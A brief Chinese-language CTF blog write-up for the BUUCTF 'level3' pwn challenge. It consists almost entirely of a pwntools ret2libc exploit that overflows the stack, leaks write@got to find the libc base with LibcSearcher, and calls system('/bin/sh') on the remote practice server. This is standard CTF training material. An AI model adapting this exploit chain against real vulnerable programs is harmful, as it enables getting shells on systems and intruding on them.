这题没啥意思——level3

基本操作

 

 

 

 看到有明显溢出,通过write函数泄露libc基址再构建payload即可

和那道babyrop一样,就随便写写了

exp:

from pwn import *

from LibcSearcher import *

#p=process('./level3')
p=remote('node3.buuoj.cn',25690)
elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
p.recvuntil("Input:\n")
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(0x4)
p.sendline(payload)
addr=u32(p.recv(4))
print("%x"%addr)
libc=LibcSearcher('write',addr)
libc_base=addr-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

p.recvuntil("Input:\n")
payload2='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(bin_sh)
p.sendline(payload2)
p.interactive()
                  

 

posted @ 2021-03-09 21:18  Haokunnnnnnnna  阅读(73)  评论(0编辑  收藏  举报